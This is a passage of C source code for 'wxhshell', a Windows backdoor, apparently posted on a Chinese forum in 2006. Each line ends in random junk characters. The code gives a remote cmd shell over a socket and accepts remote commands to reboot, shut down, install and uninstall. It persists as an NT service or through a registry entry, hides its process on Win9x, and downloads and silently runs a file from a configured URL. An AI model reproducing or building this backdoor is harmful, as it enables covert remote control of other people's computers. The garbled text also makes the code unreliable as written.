  // 帮助 a)I>Ns)  
  case '?': { }z qo<o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v# e*RI2}  
    break; )Br#R:#  
  } x=kJl GT  
  // 安装 `U&'71B^  
  case 'i': { b1QHZY\g{  
    if(Install()) u"m TS&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! Y&]Y G  
    else Ao#bREm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2*a9mi  
    break; oDayfyy4y)  
    } CeM%?fr5  
  // 卸载 ~(B%E'  
  case 'r': { YFW/ Fa\7  
    if(Uninstall()) HZ1nuA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,<Wt8'e  
    else "c.-`1,t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;aD?BD__Z  
    break; pl$wy}W-  
    } /U-+ClZi@  
  // 显示 wxhshell 所在路径 9e.$x%7j  
  case 'p': { 7P]i|Q{  
    char svExeFile[MAX_PATH]; {?"X\5n0  
    strcpy(svExeFile,"\n\r"); <PM.4B@  
      strcat(svExeFile,ExeFile); BzV97'  
        send(wsh,svExeFile,strlen(svExeFile),0); J #jFX F\  
    break; xM@s`s|n  
    }  g_Rp}6g  
  // 重启 0A-yQzL|  
  case 'b': { {Ppb ;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fjY:u,5V_  
    if(Boot(REBOOT)) kDxI7$]E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q2:r WE{K!  
    else { Cl3L)  
    closesocket(wsh); *{5/" H5  
    ExitThread(0); '=xO?2U-Z  
    } U"oHPK3"TA  
    break; TjI&8#AWBA  
    } #_ UP}G$  
  // 关机 4bL? V^@7  
  case 'd': { )1gT&sU0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2.]d~\  
    if(Boot(SHUTDOWN)) 06Q9X!xD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;C=V -r  
    else { +5 gX6V\  
    closesocket(wsh); Z9q4W:jyS  
    ExitThread(0); *YGj^+   
    } ~wOMT  
    break; wXZ9@(^  
    } c;!| =  
  // 获取shell ~%eE%5!k  
  case 's': { PgHmOs  
    CmdShell(wsh); @&%/<|4P5  
    closesocket(wsh); _wX(OB  
    ExitThread(0); vK+!m~kDu  
    break; )X:Sfk  
  } T 1_B0H2  
  // 退出 [2>zaag  
  case 'x': { ,-8Xb+!8I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UEt78eN  
    CloseIt(wsh); 2(Yg',aMY-  
    break; cfRUVe  
    } Sa0IRC<LV  
  // 离开 g0;;+z  
  case 'q': { XD|Xd|/ {  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S3$C#mHX  
    closesocket(wsh); bv7xh*/  
    WSACleanup(); DiY74D  
    exit(1); (w\|yPBB  
    break; a/H5Y,b>  
        }  TU6YS<  
  } !q$>6P  
  } e'c3.sQ|?  
g_k95k3V'  
  // 提示信息 .F2"tt?'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "u&7Y:)^wr  
} ~l. C -  
  } Z_<NUPE  
(Q ^=^s|  
  return; 2"j&_$#l5X  
} \ bWy5/+  
vpOGyvI  
// shell模块句柄 SG&H^V8  
int CmdShell(SOCKET sock) c* ~0R?  
{ e%4vvPp  
STARTUPINFO si; }H saJ=1U  
ZeroMemory(&si,sizeof(si)); (~! @Uz5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U3v~R4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )"|wWu  
PROCESS_INFORMATION ProcessInfo; ,KF>@3f  
char cmdline[]="cmd"; Dq9f Fe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rg#/kd<?[V  
  return 0; o8IqO'  
} -*Qg^1]i+  
(^sb('"  
// 自身启动模式 *UJB *r  
int StartFromService(void) gbh/ `  
{ kK 5~hpv  
typedef struct 30(e6T;   
{ u`oJ3mS;  
  DWORD ExitStatus; q$IU!I4  
  DWORD PebBaseAddress; =,i?8Fuz  
  DWORD AffinityMask; eb,QT\/G  
  DWORD BasePriority; 1DL+=-  
  ULONG UniqueProcessId; &hi][Pt  
  ULONG InheritedFromUniqueProcessId; l^o>7 cM  
}   PROCESS_BASIC_INFORMATION; rq1~%S  
mz;ExV16  
PROCNTQSIP NtQueryInformationProcess; E5c)\ D  
E%stFyr9`/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @E h(GZN  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g u' +kw  
;i+(Q%LO  
  HANDLE             hProcess; i12G\Ye  
  PROCESS_BASIC_INFORMATION pbi; XuZgyt"=r  
 #.Ly  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L;b-=mF  
  if(NULL == hInst ) return 0; 20`XklV  
-(}N-yu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P>x88M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iU~d2R+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c\tw#;\9  
w> Ft5"z  
  if (!NtQueryInformationProcess) return 0; V2tA!II-s  
gq~`!tW'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q?L*Luu+  
  if(!hProcess) return 0; ,c;#~y  
qPhVc9D#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hKsx7`[  
Esg:  
  CloseHandle(hProcess);  Y!|};  
gK dNgU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Vt9o8naz  
if(hProcess==NULL) return 0; E!I4I'  
(ueH@A"9;  
HMODULE hMod; y%YP  
char procName[255]; *1>Tc,mb  
unsigned long cbNeeded; Rob: W|  
jd 8g0^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bs?4|#[K  
15DlD`QV  
  CloseHandle(hProcess); (hv}K*c{  
j{zVVT  
if(strstr(procName,"services")) return 1; // 以服务启动 >g[Wnzf  
^1--7#H  
  return 0; // 注册表启动 ]7h;MR  
} P|aSbsk:I<  
A {')  
// 主模块 >v%UV:7ap  
int StartWxhshell(LPSTR lpCmdLine) i'#%t/ u  
{ *I9G"R8  
  SOCKET wsl; 0E&XD&D  
BOOL val=TRUE; 2Ju,P_<dt  
  int port=0; _&xkj8O  
  struct sockaddr_in door; O}7aX '  
ACgWT  
  if(wscfg.ws_autoins) Install(); ]08~bL1Q  
N=:xyv  
port=atoi(lpCmdLine); ? 5hwz  
vF@.B M>  
if(port<=0) port=wscfg.ws_port; +OUM 4y  
k_%maJkXp  
  WSADATA data; HL!"U (_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y"nC T3  
.q$/#hN:e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +T7FG_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  HYg7B  
  door.sin_family = AF_INET; ]m^ECA$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lismo#  
  door.sin_port = htons(port); It^_?oiK  
y? 65*lUl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tLx8}@X"  
closesocket(wsl); ;WL0  
return 1; DAd$u1  
} m3_)UIJZ  
u+8?'ZT,  
  if(listen(wsl,2) == INVALID_SOCKET) { );x[1*e  
closesocket(wsl); k :zGv  
return 1; fP1fm  
} HM\gOz  
  Wxhshell(wsl); sk`RaDq@;  
  WSACleanup(); UX<0/"0h  
u+e.{Z!  
return 0; Ga^k1TQq  
gJBk&SDgtP  
} v#+tu,)V;  
22m'+3I~Y  
// 以NT服务方式启动 v_@&#!u`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) px_%5^zRQ  
{ ' 9  
DWORD   status = 0; ~wRozV  
  DWORD   specificError = 0xfffffff; w+ tO@  
Aaix? |XN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZsYT&P2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vweD{\b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (*YENT}  
  serviceStatus.dwWin32ExitCode     = 0; R0mWVgoz  
  serviceStatus.dwServiceSpecificExitCode = 0; SYTzJK@vZJ  
  serviceStatus.dwCheckPoint       = 0; -n'%MT=Cd  
  serviceStatus.dwWaitHint       = 0; nyB~C7zR  
bpe WK&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n7Ia8?8-l  
  if (hServiceStatusHandle==0) return;  Z@`HFZJ  
x;R9Gc[5  
status = GetLastError(); .{W)E  
  if (status!=NO_ERROR) ;q$O^r~  
{ V|fs"HY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2]*2b{gF,  
    serviceStatus.dwCheckPoint       = 0; !xK`:[B  
    serviceStatus.dwWaitHint       = 0; /1lUFL2D  
    serviceStatus.dwWin32ExitCode     = status; nEm+cHHo?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 89)rss  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SLc'1{  
    return; _sCpyu  
  } QRv2%^L  
Wz7jB6AWA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F 'U G p  
  serviceStatus.dwCheckPoint       = 0; oFV >b  
  serviceStatus.dwWaitHint       = 0; j7 D\O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~(`iRxK  
} 9_ GR\\  
qzqv-{.h  
// 处理NT服务事件,比如:启动、停止 wy$9QN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,tL<?6_  
{ m.p{+_@M&  
switch(fdwControl) y85/qg) H^  
{ ;[@< ,  
case SERVICE_CONTROL_STOP: y8un&LP  
  serviceStatus.dwWin32ExitCode = 0; ^1S(6'a#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y m|zM1qc  
  serviceStatus.dwCheckPoint   = 0; v }ZQC8wL  
  serviceStatus.dwWaitHint     = 0; 9_F2nmEv  
  { ``}EbOMG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PDo%ob\Ym  
  } m>'sM1s  
  return; iVt6rX  
case SERVICE_CONTROL_PAUSE: 1G+42>?<1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nrMm](Y45  
  break; A@ EeX4N  
case SERVICE_CONTROL_CONTINUE: 7!`,P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kfBVF%90  
  break; N$H0o+9-Y  
case SERVICE_CONTROL_INTERROGATE: @%K@oDL  
  break; 969*mcq'  
}; Q%(LMq4UG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w7 ]@QTC  
} ".eD&oX{  
~fE@]~f>  
// 标准应用程序主函数 ucyz>TL0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) },'2j  
{ ZO+c-!%[(  
0*q&)  
// 获取操作系统版本 O s@ d&wm  
OsIsNt=GetOsVer(); ayuj)]b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [C)-=.Xx)j  
/ PAxPZf_  
  // 从命令行安装 1_!*R]aq  
  if(strpbrk(lpCmdLine,"iI")) Install(); 70l"[Y  
Zycu3%JI  
  // 下载执行文件 B]q &?~  
if(wscfg.ws_downexe) { w3c[t~R8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T2 0dZ8{y  
  WinExec(wscfg.ws_filenam,SW_HIDE); e;56}w  
} hp!UW  
C$xU!9K[+  
if(!OsIsNt) { Q uy5H  
// 如果时win9x,隐藏进程并且设置为注册表启动 rE-Xv. |  
HideProc(); 9Nglt3J[  
StartWxhshell(lpCmdLine); {mMrD 5  
} oBQr6-nZ  
else 67Z|=B !7  
  if(StartFromService()) e;R5A6|  
  // 以服务方式启动 RZ9vQ\X U)  
  StartServiceCtrlDispatcher(DispatchTable); 7$+n"Cfm  
else ?ZDXT2b~~  
  // 普通方式启动 -4o6 OkK<  
  StartWxhshell(lpCmdLine); %lAJ]$m  
s"<k) Xi  
return 0; Slcf=  
}
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只看该作者 1 发表于: 2006-10-10
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